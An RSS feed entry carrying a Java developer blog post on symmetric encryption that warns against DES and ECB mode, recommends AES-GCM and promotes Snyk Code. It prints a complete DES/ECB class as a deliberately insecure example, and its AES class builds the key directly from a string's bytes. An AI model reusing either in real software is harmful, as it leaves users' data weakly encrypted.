<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</title>
    <description>The latest articles on Forem by Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 (@brianverm).</description>
    <link>https://forem.com/brianverm</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F213382%2Fb27e3d1a-f531-404d-8a96-2fb9c49bc3b8.png</url>
      <title>Forem: Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</title>
      <link>https://forem.com/brianverm</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/brianverm"/>
    <language>en</language>
    <item>
      <title>Mastering Symmetric Encryption in Java: A Practical Guide for Developers</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Wed, 13 Dec 2023 12:51:16 +0000</pubDate>
      <link>https://forem.com/brianverm/mastering-symmetric-encryption-in-java-a-practical-guide-for-developers-5671</link>
      <guid>https://forem.com/brianverm/mastering-symmetric-encryption-in-java-a-practical-guide-for-developers-5671</guid>
      <description>&lt;p&gt;In our interconnected world, safeguarding digital data is not just a priority; it's a mission. As Java developers, we play a crucial role in this mission, given the widespread use of Java applications across industries, from finance to healthcare. Our responsibility is to ensure that sensitive information remains confidential and secure through the power of encryption.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Encryption Matters for Java Developers
&lt;/h2&gt;

&lt;p&gt;First things first: Do you need encryption? It may sound like a simple question, but it's fundamental. Encryption is designed to make data unreadable (ciphertext) and then reversible into its original form (plaintext). However, not everything needs to be reversible. When dealing with passwords, for instance, we use hashing, ensuring that the original text is never recoverable. So, as a Java developer, the first step is to discern when to encrypt and when to hash.&lt;/p&gt;

&lt;h2&gt;
  
  
  Embrace Encryption for Data Security
&lt;/h2&gt;

&lt;p&gt;Java applications frequently handle sensitive data, including user information, financial transactions, and confidential records. To fulfill our duty as guardians of this data, we must master robust encryption algorithms. This not only protects our users but also safeguards the integrity of our systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Symmetric vs. Asymmetric Encryption: Choose Wisely
&lt;/h2&gt;

&lt;p&gt;Before diving into the world of encryption, let's clarify two primary types: symmetric and asymmetric. They each have unique characteristics and use cases.&lt;/p&gt;

&lt;p&gt;Symmetric encryption uses the same key for both encryption and decryption. It's fast but less secure when sharing keys. Asymmetric encryption, on the other hand, relies on a key pair (public and private). The public key encrypts, while the private key decrypts. While symmetric encryption excels in encrypting large data volumes, asymmetric encryption shines when securely sharing keys over networks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mastering Symmetric Encryption in Java
&lt;/h2&gt;

&lt;p&gt;When implementing symmetric encryption in Java, it's wise to leverage hardware security modules (HSMs) for key management. This simplifies the complex task of handling encryption keys. If HSMs aren't an option, don't worry; we've got you covered.&lt;/p&gt;

&lt;p&gt;Let's roll up our sleeves and dive into the world of symmetric encryption in Java using the &lt;code&gt;javax.crypto&lt;/code&gt; packages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Beware of Outdated Encryption Algorithms
&lt;/h2&gt;

&lt;p&gt;Not all encryption algorithms are created equal. Some, like DES (Data Encryption Standard) and 3DES, were once considered secure but are now vulnerable due to advancements in computing and cryptanalysis techniques. Using outdated encryption algorithms in your Java applications is a recipe for disaster, potentially leading to data breaches.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;javax.crypto.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;javax.crypto.spec.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;EncryptionServiceDes&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;SecretKey&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;Cipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;EncryptionServiceDes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;keyBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;DESKeySpec&lt;/span&gt; &lt;span class="n"&gt;desKeySpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DESKeySpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyBytes&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;SecretKeyFactory&lt;/span&gt; &lt;span class="n"&gt;keyFactory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecretKeyFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DES"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;secretKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;keyFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generateSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desKeySpec&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"DES/ECB/PKCS5Padding"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ENCRYPT_MODE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// Encrypt the original data&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="c1"&gt;// Encode the encrypted data in base64 for better handling&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encryptedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;cypher&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;DECRYPT_MODE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// Decode the base64-encoded ciphertext&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDecoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cypher&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// Decrypt the data&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;decryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encryptedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decryptedData&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Choose the Right Algorithm and Cipher Mode
&lt;/h2&gt;

&lt;p&gt;For symmetric encryption, heed the advice of OWASP: opt for AES (Advanced Encryption Standard) with a key length of at least 128 bits, preferably 256 bits. But don't stop there—choose a secure mode too. Avoid ECB (Electronic Codebook) mode, as it lacks message confidentiality. Instead, embrace modes like CCM (Counter with CBC-MAC) or GCM (Galois/Counter Mode) that ensure data's integrity, confidentiality, and authenticity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;javax.crypto.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;javax.crypto.spec.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.*&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;EncryptionServiceAESGCM&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;SecretKey&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;Cipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;EncryptionServiceAESGCM&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;keyBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;secretKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SecretKeySpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AES"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"AES/GCM/NoPadding"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Initialization Vector&lt;/span&gt;
        &lt;span class="nc"&gt;SecureRandom&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Generate a random IV&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ENCRYPT_MODE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GCMParameterSpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;encrypt64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encryptedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;iv64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypt64&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iv64&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;cypher&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;split&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cypher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDecoder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;cypherText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]);&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decoder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]);&lt;/span&gt;
        &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;paraSpec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GCMParameterSpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;DECRYPT_MODE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;paraSpec&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;decryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cypherText&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;String&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decryptedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Identifying Weak Encryption Algorithms
&lt;/h2&gt;

&lt;p&gt;To detect insecure encryption, we can turn to tools like Snyk. By connecting your code repository to Snyk, it identifies insecure cryptographic algorithms and suggests secure alternatives, like AES encryption.&lt;/p&gt;

&lt;h6&gt;
  
  
  Snyk Code Git Integration
&lt;/h6&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_msohmgB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wz82bokzc0dyrsubhwdq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_msohmgB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wz82bokzc0dyrsubhwdq.jpg" alt="Snyk Code Git Integration" width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Continuous Improvement is Key
&lt;/h2&gt;

&lt;p&gt;Updating encryption algorithms is crucial, but remember that security evolves. Regularly scan your code for new security issues using static analysis security testing (SAST) tools like &lt;a href="https://snyk.io/product/snyk-code/"&gt;Snyk Code&lt;/a&gt; for Java. Stay ahead of potential threats and keep your data secure.&lt;/p&gt;

&lt;h6&gt;
  
  
  Snyk IntelliJ IDEA Plugin
&lt;/h6&gt;

&lt;p&gt;&lt;a href="https://plugins.jetbrains.com/plugin/10972-snyk-security--code-open-source-container-iac-configurations"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xaa42dwa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j2e3q0zi4sb8q1pwifll.jpg" alt="Snyk IntelliJ Plugin" width="800" height="297"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Empower Your Java Development with Snyk Code
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://snyk.io/product/snyk-code/"&gt;Snyk Code&lt;/a&gt; is your ally in the battle for secure code. It's a state-of-the-art static application security testing (SAST) tool that identifies vulnerabilities within your codebase. Supporting various programming languages, including Java, Snyk Code offers real-time feedback, integrates into your CI/CD pipeline, and supports popular IDEs. Use it to catch and fix security issues early in your development cycle.&lt;/p&gt;

&lt;h2&gt;
  
  
